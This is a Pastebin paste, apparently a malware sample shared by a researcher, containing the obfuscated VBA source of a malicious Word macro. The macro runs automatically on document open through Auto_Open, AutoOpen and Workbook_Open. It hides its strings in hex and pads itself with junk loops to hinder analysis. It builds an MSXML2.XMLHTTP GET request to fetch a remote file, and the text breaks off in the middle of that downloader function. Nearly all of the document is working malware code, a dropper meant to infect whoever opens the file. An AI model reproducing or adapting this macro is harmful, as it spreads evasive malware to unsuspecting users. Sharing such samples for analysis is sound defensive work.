SHARE
TWEET

Malicious Word macro

dynamoo Nov 11th, 2014 233 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Attribute VB_Name = "ThisDocument"
  2. Attribute VB_Base = "1Normal.ThisDocument"
  3. Attribute VB_GlobalNameSpace = False
  4. Attribute VB_Creatable = False
  5. Attribute VB_PredeclaredId = True
  6. Attribute VB_Exposed = True
  7. Attribute VB_TemplateDerived = True
  8. Attribute VB_Customizable = True
  9. Sub Auto_Open()
  10. Dim XIrmbVcD, ARSGDlhR, ublpNFux As String
  11.  
  12. Dim ZzhIWspL As Integer
  13. Dim QQFxtYot, UQVIbPYy, ZSoMMGru As String
  14. QQFxtYot = GIYbonflbkpgerg("2020202020202020202020425558484D50202020202020202020202020202020")
  15. UQVIbPYy = LTrim(QQFxtYot)
  16. ZSoMMGru = RTrim(UQVIbPYy)
  17.  
  18. ZzhIWspL = 6
  19. Do While ZzhIWspL < 59
  20. Dim tKvmByio, PDyGsABN, gOFpvXJK As String
  21. tKvmByio = GIYbonflbkpgerg("20202020202020202020204A445A505747202020202020202020202020202020")
  22. PDyGsABN = LTrim(tKvmByio)
  23. gOFpvXJK = RTrim(PDyGsABN)
  24.  
  25. DoEvents: ZzhIWspL = ZzhIWspL + 1
  26. Dim lETUqKOK, XFLAMhls, qRBtBaRM As String
  27. lETUqKOK = GIYbonflbkpgerg("20202020202020202020204E4347544759202020202020202020202020202020")
  28. XFLAMhls = LTrim(lETUqKOK)
  29. qRBtBaRM = RTrim(XFLAMhls)
  30.  
  31. Loop
  32.  
  33. Dim koorgMTk, EgWuHIIZ, GmUplwQS As String
  34. koorgMTk = GIYbonflbkpgerg("2020202020202020202020464E434C504B202020202020202020202020202020")
  35. EgWuHIIZ = LTrim(koorgMTk)
  36. GmUplwQS = RTrim(EgWuHIIZ)
  37.  
  38. XIrmbVcD = GIYbonflbkpgerg("20202020202020202020205943465A4C4A202020202020202020202020202020")
  39.  
  40. Dim QaXpyegJ As Integer
  41. Dim pcPSbeZv, tvMVMuNb, avrpgscA As String
  42. pcPSbeZv = GIYbonflbkpgerg("2020202020202020202020514E4D565257202020202020202020202020202020")
  43. tvMVMuNb = LTrim(pcPSbeZv)
  44. avrpgscA = RTrim(tvMVMuNb)
  45.  
  46. QaXpyegJ = 8
  47. Do While QaXpyegJ < 31
  48. Dim lOcvuMPA, VTtMlgAl, EnDgUOlq As String
  49. lOcvuMPA = GIYbonflbkpgerg("20202020202020202020204A5643545047202020202020202020202020202020")
  50. VTtMlgAl = LTrim(lOcvuMPA)
  51. EnDgUOlq = RTrim(VTtMlgAl)
  52.  
  53. DoEvents: QaXpyegJ = QaXpyegJ + 1
  54. Dim VbyEngKl, dhsuTNrz, GAnagcSx As String
  55. VbyEngKl = GIYbonflbkpgerg("20202020202020202020204758455A434B202020202020202020202020202020")
  56. dhsuTNrz = LTrim(VbyEngKl)
  57. GAnagcSx = RTrim(dhsuTNrz)
  58.  
  59. Loop
  60.  
  61. Dim tuzUTlxT, eKTmEmzr, gVkctiyg As String
  62. tuzUTlxT = GIYbonflbkpgerg("20202020202020202020204E47474E4551202020202020202020202020202020")
  63. eKTmEmzr = LTrim(tuzUTlxT)
  64. gVkctiyg = RTrim(eKTmEmzr)
  65.  
  66. ARSGDlhR = LTrim(XIrmbVcD)
  67.  
  68. Dim MNASjMmF As Integer
  69. Dim fAtuVqNX, oZhlkgcC, rZbRSlWV As String
  70. fAtuVqNX = GIYbonflbkpgerg("2020202020202020202020445A54494842202020202020202020202020202020")
  71. oZhlkgcC = LTrim(fAtuVqNX)
  72. rZbRSlWV = RTrim(oZhlkgcC)
  73.  
  74. MNASjMmF = 9
  75. Do While MNASjMmF < 23
  76. Dim bcsmoBhx, lFeyByTN, VOPndAxJ As String
  77. bcsmoBhx = GIYbonflbkpgerg("2020202020202020202020414558514E51202020202020202020202020202020")
  78. lFeyByTN = LTrim(bcsmoBhx)
  79. VOPndAxJ = RTrim(lFeyByTN)
  80.  
  81. DoEvents: MNASjMmF = MNASjMmF + 1
  82. Dim wlxhOrev, VRQplASK, smJDcdVn As String
  83. wlxhOrev = GIYbonflbkpgerg("2020202020202020202020554548524A54202020202020202020202020202020")
  84. VRQplASK = LTrim(wlxhOrev)
  85. smJDcdVn = RTrim(VRQplASK)
  86.  
  87. Loop
  88.  
  89. Dim CZwuSEww, oIipgjvY, ulQCdlry As String
  90. CZwuSEww = GIYbonflbkpgerg("2020202020202020202020434E42445548202020202020202020202020202020")
  91. oIipgjvY = LTrim(CZwuSEww)
  92. ulQCdlry = RTrim(oIipgjvY)
  93.  
  94. ublpNFux = RTrim(ARSGDlhR)
  95.  
  96.  
  97. Dim aogFvSXL As Integer
  98. Dim GDjdHTlv, QFnvqPJb, YFQPRFgn As String
  99. GDjdHTlv = GIYbonflbkpgerg("2020202020202020202020414951514450202020202020202020202020202020")
  100. QFnvqPJb = LTrim(GDjdHTlv)
  101. YFQPRFgn = RTrim(QFnvqPJb)
  102.  
  103. aogFvSXL = 1
  104. Do While aogFvSXL < 34
  105. Dim QRWOLQrG, RWSlPKll, pHlGCdqp As String
  106. QRWOLQrG = GIYbonflbkpgerg("20202020202020202020205559464B4B52202020202020202020202020202020")
  107. RWSlPKll = LTrim(QRWOLQrG)
  108. pHlGCdqp = RTrim(RWSlPKll)
  109.  
  110. DoEvents: aogFvSXL = aogFvSXL + 1
  111. Dim DFkYtfQl, hNYnFQmS, RHSrLxYm As String
  112. DFkYtfQl = GIYbonflbkpgerg("2020202020202020202020484644534150202020202020202020202020202020")
  113. hNYnFQmS = LTrim(DFkYtfQl)
  114. RHSrLxYm = RTrim(hNYnFQmS)
  115.  
  116. Loop
  117.  
  118. Dim VLGYaexu, pBAOZJnk, xtfSrTEZ As String
  119. VLGYaexu = GIYbonflbkpgerg("20202020202020202020204349494E4652202020202020202020202020202020")
  120. pBAOZJnk = LTrim(VLGYaexu)
  121. xtfSrTEZ = RTrim(pBAOZJnk)
  122.  
  123. KFIDAXVLION
  124. End Sub
  125. Sub AutoOpen()
  126. Dim KbIJEeir, mQCQdnJc, OAzgksey As String
  127.  
  128. Dim gThTotIj As Integer
  129. Dim RnqOGlZp, nAmWocNq, wARuEAcs As String
  130. RnqOGlZp = GIYbonflbkpgerg("2020202020202020202020584155585345202020202020202020202020202020")
  131. nAmWocNq = LTrim(RnqOGlZp)
  132. wARuEAcs = RTrim(nAmWocNq)
  133.  
  134. gThTotIj = 4
  135. Do While gThTotIj < 58
  136. Dim maSkBRgi, fkZzHQEQ, LdqceumZ As String
  137. maSkBRgi = GIYbonflbkpgerg("2020202020202020202020424A4F4F5741202020202020202020202020202020")
  138. fkZzHQEQ = LTrim(maSkBRgi)
  139. LdqceumZ = RTrim(fkZzHQEQ)
  140.  
  141. DoEvents: gThTotIj = gThTotIj + 1
  142. Dim lnKTtFac, XQubFsPJ, qAdrMCXb As String
  143. lnKTtFac = GIYbonflbkpgerg("202020202020202020202055594E535A43202020202020202020202020202020")
  144. XQubFsPJ = LTrim(lnKTtFac)
  145. qAdrMCXb = RTrim(XQubFsPJ)
  146.  
  147. Loop
  148.  
  149. Dim ZMXtcYRF, nTbKwIqd, SQsWVxfc As String
  150. ZMXtcYRF = GIYbonflbkpgerg("2020202020202020202020534F53534E4B202020202020202020202020202020")
  151. nTbKwIqd = LTrim(ZMXtcYRF)
  152. SQsWVxfc = RTrim(nTbKwIqd)
  153.  
  154. KbIJEeir = GIYbonflbkpgerg("20202020202020202020204C59574A4654202020202020202020202020202020")
  155.  
  156. Dim cRXilXDg As Integer
  157. Dim nAlBMEWR, wARqgIlT, kZFxIDHY As String
  158. nAlBMEWR = GIYbonflbkpgerg("20202020202020202020204C5A5352474F202020202020202020202020202020")
  159. wARqgIlT = LTrim(nAlBMEWR)
  160. kZFxIDHY = RTrim(wARqgIlT)
  161.  
  162. cRXilXDg = 5
  163. Do While cRXilXDg < 31
  164. Dim tjyJralg, PsDsjxpy, EZRCiEbO As String
  165. tjyJralg = GIYbonflbkpgerg("20202020202020202020204A424C584353202020202020202020202020202020")
  166. PsDsjxpy = LTrim(tjyJralg)
  167. EZRCiEbO = RTrim(PsDsjxpy)
  168.  
  169. DoEvents: cRXilXDg = cRXilXDg + 1
  170. Dim ojxhhVTO, cuZLmOJk, NkHDrunS As String
  171. ojxhhVTO = GIYbonflbkpgerg("20202020202020202020204D4A51574B4F202020202020202020202020202020")
  172. cuZLmOJk = LTrim(ojxhhVTO)
  173. NkHDrunS = RTrim(cuZLmOJk)
  174.  
  175. Loop
  176.  
  177. Dim UgoRFGsB, MmWUjZgp, KtvmgRMI As String
  178. UgoRFGsB = GIYbonflbkpgerg("2020202020202020202020474C4B424958202020202020202020202020202020")
  179. MmWUjZgp = LTrim(UgoRFGsB)
  180. KtvmgRMI = RTrim(MmWUjZgp)
  181.  
  182. mQCQdnJc = LTrim(KbIJEeir)
  183.  
  184. Dim EXKxgJzj As Integer
  185. Dim DzZJJQBm, IeSesHxw, RrXgYMMx As String
  186. DzZJJQBm = GIYbonflbkpgerg("20202020202020202020204E47484E4453202020202020202020202020202020")
  187. IeSesHxw = LTrim(DzZJJQBm)
  188. RrXgYMMx = RTrim(IeSesHxw)
  189.  
  190. EXKxgJzj = 6
  191. Do While EXKxgJzj < 82
  192. Dim JWxBOZqK, xJtlXVeP, zSSGplMA As String
  193. JWxBOZqK = GIYbonflbkpgerg("202020202020202020202050465A4E444E202020202020202020202020202020")
  194. xJtlXVeP = LTrim(JWxBOZqK)
  195. zSSGplMA = RTrim(xJtlXVeP)
  196.  
  197. DoEvents: EXKxgJzj = EXKxgJzj + 1
  198. Dim gUNAktLk, JKfwaZZS, yIlBufFm As String
  199. gUNAktLk = GIYbonflbkpgerg("2020202020202020202020525052504959202020202020202020202020202020")
  200. JKfwaZZS = LTrim(gUNAktLk)
  201. yIlBufFm = RTrim(JKfwaZZS)
  202.  
  203. Loop
  204.  
  205. Dim IDFogXfK, MLnsJPke, yBdglvmd As String
  206. IDFogXfK = GIYbonflbkpgerg("202020202020202020202047544946574E202020202020202020202020202020")
  207. MLnsJPke = LTrim(IDFogXfK)
  208. yBdglvmd = RTrim(MLnsJPke)
  209.  
  210. OAzgksey = RTrim(mQCQdnJc)
  211.  
  212.  
  213. Dim WLrAQbdd As Integer
  214. Dim IybtjMtH, EuOjQVZJ, buLZyeBL As String
  215. IybtjMtH = GIYbonflbkpgerg("2020202020202020202020434A47554E4A202020202020202020202020202020")
  216. EuOjQVZJ = LTrim(IybtjMtH)
  217. buLZyeBL = RTrim(EuOjQVZJ)
  218.  
  219. WLrAQbdd = 3
  220. Do While WLrAQbdd < 22
  221. Dim gSNPHKSE, LUItefEw, vEhbjImf As String
  222. gSNPHKSE = GIYbonflbkpgerg("2020202020202020202020474253505A47202020202020202020202020202020")
  223. LUItefEw = LTrim(gSNPHKSE)
  224. vEhbjImf = RTrim(LUItefEw)
  225.  
  226. DoEvents: WLrAQbdd = WLrAQbdd + 1
  227. Dim HXBAMkrA, tSttBehp, UClBInVE As String
  228. HXBAMkrA = GIYbonflbkpgerg("202020202020202020202051554E41554C202020202020202020202020202020")
  229. tSttBehp = LTrim(HXBAMkrA)
  230. UClBInVE = RTrim(tSttBehp)
  231.  
  232. Loop
  233.  
  234. Dim bprWIOMK, cWUUYQnk, PalPibEZ As String
  235. bprWIOMK = GIYbonflbkpgerg("202020202020202020202051484855544D202020202020202020202020202020")
  236. cWUUYQnk = LTrim(bprWIOMK)
  237. PalPibEZ = RTrim(cWUUYQnk)
  238.  
  239.     Auto_Open
  240. End Sub
  241. Sub Workbook_Open()
  242. Dim YgCcigmM, KmOnOect, rnwEqJAg As String
  243.  
  244. Dim bkNKnGlW As Integer
  245. Dim JnXfQbcU, DAubyRWO, IZjQbIlP As String
  246. JnXfQbcU = GIYbonflbkpgerg("20202020202020202020205A414E535059202020202020202020202020202020")
  247. DAubyRWO = LTrim(JnXfQbcU)
  248. IZjQbIlP = RTrim(DAubyRWO)
  249.  
  250. bkNKnGlW = 6
  251. Do While bkNKnGlW < 52
  252. Dim OKgRxAnf, gDCBPCly, LIRmCkpC As String
  253. OKgRxAnf = GIYbonflbkpgerg("2020202020202020202020425A4C494B59202020202020202020202020202020")
  254. gDCBPCly = LTrim(OKgRxAnf)
  255. LIRmCkpC = RTrim(gDCBPCly)
  256.  
  257. DoEvents: bkNKnGlW = bkNKnGlW + 1
  258. Dim YnZgGTGj, WjIKWjaB, cZCSRFPl As String
  259. YnZgGTGj = GIYbonflbkpgerg("202020202020202020202059584657544E202020202020202020202020202020")
  260. WjIKWjaB = LTrim(YnZgGTGj)
  261. cZCSRFPl = RTrim(WjIKWjaB)
  262.  
  263. Loop
  264.  
  265. Dim hJnoORMl, ACdsqkCR, FeBhDyaF As String
  266. hJnoORMl = GIYbonflbkpgerg("202020202020202020202059554146594A202020202020202020202020202020")
  267. ACdsqkCR = LTrim(hJnoORMl)
  268. FeBhDyaF = RTrim(ACdsqkCR)
  269.  
  270. YgCcigmM = GIYbonflbkpgerg("2020202020202020202020464C53574B4F202020202020202020202020202020")
  271.  
  272. Dim IjTmQYcL As Integer
  273. Dim eObNJQEl, BOOssHam, MPLcTMvw As String
  274. eObNJQEl = GIYbonflbkpgerg("2020202020202020202020495947544453202020202020202020202020202020")
  275. BOOssHam = LTrim(eObNJQEl)
  276. MPLcTMvw = RTrim(BOOssHam)
  277.  
  278. IjTmQYcL = 7
  279. Do While IjTmQYcL < 34
  280. Dim YIlpblOw, bBqWjbVB, tMKhEMHH As String
  281. YIlpblOw = GIYbonflbkpgerg("202020202020202020202054494E544957202020202020202020202020202020")
  282. bBqWjbVB = LTrim(YIlpblOw)
  283. tMKhEMHH = RTrim(bBqWjbVB)
  284.  
  285. DoEvents: IjTmQYcL = IjTmQYcL + 1
  286. Dim iKlaEJal, PeUWdgPD, BLDvkNXw As String
  287. iKlaEJal = GIYbonflbkpgerg("2020202020202020202020414746584642202020202020202020202020202020")
  288. PeUWdgPD = LTrim(iKlaEJal)
  289. BLDvkNXw = RTrim(PeUWdgPD)
  290.  
  291. Loop
  292.  
  293. Dim wUeBmnjX, UDGzXgly, MLAtvzxj As String
  294. wUeBmnjX = GIYbonflbkpgerg("202020202020202020202048444D4A4449202020202020202020202020202020")
  295. UDGzXgly = LTrim(wUeBmnjX)
  296. MLAtvzxj = RTrim(UDGzXgly)
  297.  
  298. KmOnOect = LTrim(YgCcigmM)
  299.  
  300. Dim JgsCCcZH As Integer
  301. Dim MoAJNIDi, HpQemDqo, QpWgGKIp As String
  302. MoAJNIDi = GIYbonflbkpgerg("2020202020202020202020524B484E4B51202020202020202020202020202020")
  303. HpQemDqo = LTrim(MoAJNIDi)
  304. QpWgGKIp = RTrim(HpQemDqo)
  305.  
  306. JgsCCcZH = 9
  307. Do While JgsCCcZH < 15
  308. Dim oJWzujUx, FSZclQvf, UeliqKFJ As String
  309. oJWzujUx = GIYbonflbkpgerg("20202020202020202020204C53465A424D202020202020202020202020202020")
  310. FSZclQvf = LTrim(oJWzujUx)
  311. UeliqKFJ = RTrim(FSZclQvf)
  312.  
  313. DoEvents: JgsCCcZH = JgsCCcZH + 1
  314. Dim ayxPkbTE, hXAgcqJs, KuHouIbT As String
  315. ayxPkbTE = GIYbonflbkpgerg("20202020202020202020204A5351594C43202020202020202020202020202020")
  316. hXAgcqJs = LTrim(ayxPkbTE)
  317. KuHouIbT = RTrim(hXAgcqJs)
  318.  
  319. Loop
  320.  
  321. Dim vKMYRsGV, xEclZfwc, IOpwrzvI As String
  322. vKMYRsGV = GIYbonflbkpgerg("2020202020202020202020505551424549202020202020202020202020202020")
  323. xEclZfwc = LTrim(vKMYRsGV)
  324. IOpwrzvI = RTrim(xEclZfwc)
  325.  
  326. rnwEqJAg = RTrim(KmOnOect)
  327.  
  328.  
  329. Dim eBrnFfuX As Integer
  330. Dim TbSpbBCF, nnXwMrmG, xnyUgiKH As String
  331. TbSpbBCF = GIYbonflbkpgerg("202020202020202020202058415750544C202020202020202020202020202020")
  332. nnXwMrmG = LTrim(TbSpbBCF)
  333. xnyUgiKH = RTrim(nnXwMrmG)
  334.  
  335. eBrnFfuX = 2
  336. Do While eBrnFfuX < 33
  337. Dim XMgSyPXS, AGXulyFR, myDKpdei As String
  338. XMgSyPXS = GIYbonflbkpgerg("20202020202020202020204446564C5652202020202020202020202020202020")
  339. AGXulyFR = LTrim(XMgSyPXS)
  340. myDKpdei = RTrim(AGXulyFR)
  341.  
  342. DoEvents: eBrnFfuX = eBrnFfuX + 1
  343. Dim WcekfYMN, ofoXlkyI, QvcHeGGz As String
  344. WcekfYMN = GIYbonflbkpgerg("2020202020202020202020444D41434A4E202020202020202020202020202020")
  345. ofoXlkyI = LTrim(WcekfYMN)
  346. QvcHeGGz = RTrim(ofoXlkyI)
  347.  
  348. Loop
  349.  
  350. Dim MJYXFKMw, uClBhYCY, tIWQfIZt As String
  351. MJYXFKMw = GIYbonflbkpgerg("2020202020202020202020575552554956202020202020202020202020202020")
  352. uClBhYCY = LTrim(MJYXFKMw)
  353. tIWQfIZt = RTrim(uClBhYCY)
  354.  
  355.     Auto_Open
  356. End Sub
  357. Function ICWLJKSEKJP(ByVal IIGBLNIRYMI As String, ByVal DUBGHDQFXFU As String) As Boolean
  358.      Dim SXGGPOLSDDD As Object, CKPQMFCIQUE As Long, ZYCJDCPOEMK As Long, NPJUFXTFFIE() As Byte
  359.  
  360. Dim qrIjkSJR, utKZSJgT, zyzFuWSY As String
  361.  
  362. Dim BmdKsnEt As Integer
  363. Dim splIAzLp, iqZMWujq, eqSyhqFs As String
  364. splIAzLp = GIYbonflbkpgerg("2020202020202020202020534C51585457202020202020202020202020202020")
  365. iqZMWujq = LTrim(splIAzLp)
  366. eqSyhqFs = RTrim(iqZMWujq)
  367.  
  368. BmdKsnEt = 1
  369. Do While BmdKsnEt < 36
  370. Dim jNvXOegN, XXukXcyK, GdCzDRww As String
  371. jNvXOegN = GIYbonflbkpgerg("2020202020202020202020434A45424444202020202020202020202020202020")
  372. XXukXcyK = LTrim(jNvXOegN)
  373. GdCzDRww = RTrim(XXukXcyK)
  374.  
  375. DoEvents: BmdKsnEt = BmdKsnEt + 1
  376. Dim SLmNMIIT, gtOLEykB, EWGcIJEU As String
  377. SLmNMIIT = GIYbonflbkpgerg("202020202020202020202048484758584D202020202020202020202020202020")
  378. gtOLEykB = LTrim(SLmNMIIT)
  379. EWGcIJEU = RTrim(gtOLEykB)
  380.  
  381. Loop
  382.  
  383. Dim HJWQCqHp, FZccWdxI, NIpnxNbL As String
  384. HJWQCqHp = GIYbonflbkpgerg("20202020202020202020204C55515A5355202020202020202020202020202020")
  385. FZccWdxI = LTrim(HJWQCqHp)
  386. NIpnxNbL = RTrim(FZccWdxI)
  387.  
  388. qrIjkSJR = GIYbonflbkpgerg("202020202020202020202053484C444E44202020202020202020202020202020")
  389.  
  390. Dim tSouiwLi As Integer
  391. Dim biGWUIRS, moBuzDzF, joolwJbG As String
  392. biGWUIRS = GIYbonflbkpgerg("20202020202020202020204C4B435A4951202020202020202020202020202020")
  393. moBuzDzF = LTrim(biGWUIRS)
  394. joolwJbG = RTrim(moBuzDzF)
  395.  
  396. tSouiwLi = 2
  397. Do While tSouiwLi < 92
  398. Dim HZkcflRQ, wcNKnGwZ, alUdDpfm As String
  399. HZkcflRQ = GIYbonflbkpgerg("2020202020202020202020505442535A57202020202020202020202020202020")
  400. wcNKnGwZ = LTrim(HZkcflRQ)
  401. alUdDpfm = RTrim(wcNKnGwZ)
  402.  
  403. DoEvents: tSouiwLi = tSouiwLi + 1
  404. Dim crfbAIhl, SMlrUlAa, gtIVjJpm As String
  405. crfbAIhl = GIYbonflbkpgerg("20202020202020202020205A5155415641202020202020202020202020202020")
  406. SMlrUlAa = LTrim(crfbAIhl)
  407. gtIVjJpm = RTrim(SMlrUlAa)
  408.  
  409. Loop
  410.  
  411. Dim BgyKQFWz, qmKWdAVd, oywIqERQ As String
  412. BgyKQFWz = GIYbonflbkpgerg("2020202020202020202020564C4A595958202020202020202020202020202020")
  413. qmKWdAVd = LTrim(BgyKQFWz)
  414. oywIqERQ = RTrim(qmKWdAVd)
  415.  
  416. utKZSJgT = LTrim(qrIjkSJR)
  417.  
  418. Dim XOCybTQb As Integer
  419. Dim nAMbQlps, wArStcUd, kZfVbZtf As String
  420. nAMbQlps = GIYbonflbkpgerg("20202020202020202020204C5A424B5045202020202020202020202020202020")
  421. wArStcUd = LTrim(nAMbQlps)
  422. kZfVbZtf = RTrim(wArStcUd)
  423.  
  424. XOCybTQb = 3
  425. Do While XOCybTQb < 29
  426. Dim GofQJarn, mrXyrwWl, BNEAkJDp As String
  427. GofQJarn = GIYbonflbkpgerg("20202020202020202020205A514C515A4C202020202020202020202020202020")
  428. mrXyrwWl = LTrim(GofQJarn)
  429. BNEAkJDp = RTrim(mrXyrwWl)
  430.  
  431. DoEvents: XOCybTQb = XOCybTQb + 1
  432. Dim JlThqWil, lRMpWlJD, ImBDNrew As String
  433. JlThqWil = GIYbonflbkpgerg("20202020202020202020204B454D525441202020202020202020202020202020")
  434. lRMpWlJD = LTrim(JlThqWil)
  435. ImBDNrew = RTrim(lRMpWlJD)
  436.  
  437. Loop
  438.  
  439. Dim kUiJWkfq, RDMMxyjw, HMYCBMmY As String
  440. kUiJWkfq = GIYbonflbkpgerg("2020202020202020202020555A4B545151202020202020202020202020202020")
  441. RDMMxyjw = LTrim(kUiJWkfq)
  442. HMYCBMmY = RTrim(RDMMxyjw)
  443.  
  444. zyzFuWSY = RTrim(utKZSJgT)
  445.  
  446.  
  447. Dim vwUdprZs As Integer
  448. Dim BfQgXbyp, MgXnjEEq, HgyDPIas As String
  449. BfQgXbyp = GIYbonflbkpgerg("2020202020202020202020595757534859202020202020202020202020202020")
  450. MgXnjEEq = LTrim(BfQgXbyp)
  451. HgyDPIas = RTrim(MgXnjEEq)
  452.  
  453. vwUdprZs = 8
  454. Do While vwUdprZs < 77
  455. Dim SzrYYUSc, kCSaLzRh, CKlwucwu As String
  456. SzrYYUSc = GIYbonflbkpgerg("202020202020202020202041554649434F202020202020202020202020202020")
  457. kCSaLzRh = LTrim(SzrYYUSc)
  458. CKlwucwu = RTrim(kCSaLzRh)
  459.  
  460. DoEvents: vwUdprZs = vwUdprZs + 1
  461. Dim iVOCtgvY, PpVJFSiN, BNrmMclI As String
  462. iVOCtgvY = GIYbonflbkpgerg("2020202020202020202020414B584D5A51202020202020202020202020202020")
  463. PpVJFSiN = LTrim(iVOCtgvY)
  464. BNrmMclI = RTrim(PpVJFSiN)
  465.  
  466. Loop
  467.  
  468. Dim lCZdwuxn, kIyBlozN, RFKzWCyp As String
  469. lCZdwuxn = GIYbonflbkpgerg("202020202020202020202049505A485659202020202020202020202020202020")
  470. kIyBlozN = LTrim(lCZdwuxn)
  471. RFKzWCyp = RTrim(kIyBlozN)
  472.  
  473.     Set SXGGPOLSDDD = CreateObject(GIYbonflbkpgerg("4D53584D4C322E584D4C48545450"))
  474.     SXGGPOLSDDD.Open GIYbonflbkpgerg("474554"), IIGBLNIRYMI, False
  475. Dim WjWtlXwJ, bsZnTjfO, tiqWLStn As String
  476.  
  477. Dim FIRAoPVu As Integer
  478. Dim nZPloKsD, wEWREXOF, kEtHVauG As String
  479. nZPloKsD = GIYbonflbkpgerg("20202020202020202020204D5A4D465848202020202020202020202020202020")
  480. wEWREXOF = LTrim(nZPloKsD)
  481. kEtHVauG = RTrim(wEWREXOF)
  482.  
  483. FIRAoPVu = 8
  484. Do While FIRAoPVu < 47
  485. Dim GprRgbya, InWhyYmR, fxZPladx As String
  486. GprRgbya = GIYbonflbkpgerg("20202020202020202020204F584B484556202020202020202020202020202020")
  487. InWhyYmR = LTrim(GprRgbya)
  488. fxZPladx = RTrim(InWhyYmR)
  489.  
  490. DoEvents: FIRAoPVu = FIRAoPVu + 1
  491. Dim rLlylHEL, YtINzfsf, WWFEuBcX As String
  492. rLlylHEL = GIYbonflbkpgerg("2020202020202020202020424846424956202020202020202020202020202020")
  493. YtINzfsf = LTrim(rLlylHEL)
  494. WWFEuBcX = RTrim(YtINzfsf)
  495.  
  496. Loop
  497.  
  498. Dim VWrtezYP, qaHiTHOW, oQlMEKhm As String
  499. VWrtezYP = GIYbonflbkpgerg("2020202020202020202020434F48534745202020202020202020202020202020")
  500. qaHiTHOW = LTrim(VWrtezYP)
  501. oQlMEKhm = RTrim(qaHiTHOW)
  502.  
  503. WjWtlXwJ = GIYbonflbkpgerg("202020202020202020202054464F574848202020202020202020202020202020")
  504.  
  505. Dim CYprmAet As Integer
  506. Dim zVziWLBc, CVslgVxb, LBxTOzMn As String
  507. zVziWLBc = GIYbonflbkpgerg("20202020202020202020205544454F4748202020202020202020202020202020")
  508. CVslgVxb = LTrim(zVziWLBc)
  509. LBxTOzMn = RTrim(CVslgVxb)
  510.  
  511. CYprmAet = 1
  512. Do While CYprmAet < 29
  513. Dim dewlNUwm, KVrFdzfd, PgMbroZH As String
  514. dewlNUwm = GIYbonflbkpgerg("2020202020202020202020574B4150575A202020202020202020202020202020")
  515. KVrFdzfd = LTrim(dewlNUwm)
  516. PgMbroZH = RTrim(KVrFdzfd)
  517.  
  518. DoEvents: CYprmAet = CYprmAet + 1
  519. Dim eRGYCamx, kmWqeSYt, MYptSphb As String
  520. eRGYCamx = GIYbonflbkpgerg("20202020202020202020204A5657524F51202020202020202020202020202020")
  521. kmWqeSYt = LTrim(eRGYCamx)
  522. MYptSphb = RTrim(kmWqeSYt)
  523.  
  524. Loop
  525.  
  526. Dim ZCzwWbLJ, GeFbxdXz, aonZBaNs As String
  527. ZCzwWbLJ = GIYbonflbkpgerg("20202020202020202020204450474D5147202020202020202020202020202020")
  528. GeFbxdXz = LTrim(ZCzwWbLJ)
  529. aonZBaNs = RTrim(GeFbxdXz)
  530.  
  531. bsZnTjfO = LTrim(WjWtlXwJ)
  532.  
  533. Dim eBylhxki As Integer
  534. Dim oRnfEwqS, tRPbVnIF, NTMQlRyG As String
  535. oRnfEwqS = GIYbonflbkpgerg("2020202020202020202020514547515954202020202020202020202020202020")
  536. tRPbVnIF = LTrim(oRnfEwqS)
  537. NTMQlRyG = RTrim(tRPbVnIF)
  538.  
  539. eBylhxki = 2
  540. Do While eBylhxki < 61
  541. Dim wZxjPjvb, NcrSCQhj, TlSuqyio As String
  542. wZxjPjvb = GIYbonflbkpgerg("20202020202020202020204254414F464D202020202020202020202020202020")
  543. NcrSCQhj = LTrim(wZxjPjvb)
  544. TlSuqyio = RTrim(NcrSCQhj)
  545.  
  546. DoEvents: eBylhxki = eBylhxki + 1
  547. Dim NmVCokMr, ZTsJKGEc, JwkmVnGy As String
  548. NmVCokMr = GIYbonflbkpgerg("20202020202020202020204352454D5253202020202020202020202020202020")
  549. ZTsJKGEc = LTrim(NmVCokMr)
  550. JwkmVnGy = RTrim(ZTsJKGEc)
  551.  
  552. Loop
  553.  
  554. Dim rdWMKswl, eVvYHfaK, grqOlzte As String
  555. rdWMKswl = GIYbonflbkpgerg("20202020202020202020204E4B53595049202020202020202020202020202020")
  556. eVvYHfaK = LTrim(rdWMKswl)
  557. grqOlzte = RTrim(eVvYHfaK)
  558.  
  559. tiqWLStn = RTrim(bsZnTjfO)
  560.  
  561.  
  562. Dim GYUwpYjT As Integer
  563. Dim dUaitQsZ, oUqlbGIR, rIwTMMyT As String
  564. dUaitQsZ = GIYbonflbkpgerg("20202020202020202020204454454F4D53202020202020202020202020202020")
  565. oUqlbGIR = LTrim(dUaitQsZ)
  566. rIwTMMyT = RTrim(oUqlbGIR)
  567.  
  568. GYUwpYjT = 8
  569. Do While GYUwpYjT < 47
  570. Dim SuTTNbdH, jzdadMrI, XCWwnhWb As String
  571. SuTTNbdH = GIYbonflbkpgerg("2020202020202020202020494D59485756202020202020202020202020202020")
  572. jzdadMrI = LTrim(SuTTNbdH)
  573. XCWwnhWb = RTrim(jzdadMrI)
  574.  
  575. DoEvents: GYUwpYjT = GYUwpYjT + 1
  576. Dim ffFYiKYA, HbenJhhX, thorXaAR As String
  577. ffFYiKYA = GIYbonflbkpgerg("2020202020202020202020524E42534542202020202020202020202020202020")
  578. HbenJhhX = LTrim(ffFYiKYA)
  579. thorXaAR = RTrim(HbenJhhX)
  580.  
  581. Loop
  582.  
  583. Dim bkoVwnyt, QcWaVfph, PovFXhGF As String
  584. bkoVwnyt = GIYbonflbkpgerg("2020202020202020202020514D4B494247202020202020202020202020202020")
  585. QcWaVfph = LTrim(bkoVwnyt)
  586. PovFXhGF = RTrim(QcWaVfph)
  587.  
  588.     SXGGPOLSDDD.Send GIYbonflbkpgerg("70484A47626A6B76")
  589.  
  590. Dim VgwHlLYl, AbOPzjhF, GhGguzAx As String
  591.  
  592. Dim PtvolSWy As Integer
  593. Dim JOakAWYX, DOqEXBrC, IPmGjrAV As String
  594. JOakAWYX = GIYbonflbkpgerg("20202020202020202020205A595A46544A202020202020202020202020202020")
  595. DOqEXBrC = LTrim(JOakAWYX)
  596. IPmGjrAV = RTrim(DOqEXBrC)
  597.  
  598. PtvolSWy = 8
  599. Do While PtvolSWy < 94
  600. Dim PMJMMgef, gHvguOMt, MQyOltSC As String
  601. PMJMMgef = GIYbonflbkpgerg("20202020202020202020204E455547454E202020202020202020202020202020")
  602. gHvguOMt = LTrim(PMJMMgef)
  603. MQyOltSC = RTrim(gHvguOMt)
  604.  
  605. DoEvents: PtvolSWy = PtvolSWy + 1
  606. Dim PhkAisWt, VtctdCuD, njSBXmHu As String
  607. PhkAisWt = GIYbonflbkpgerg("202020202020202020202049484F5A4648202020202020202020202020202020")
  608. VtctdCuD = LTrim(PhkAisWt)
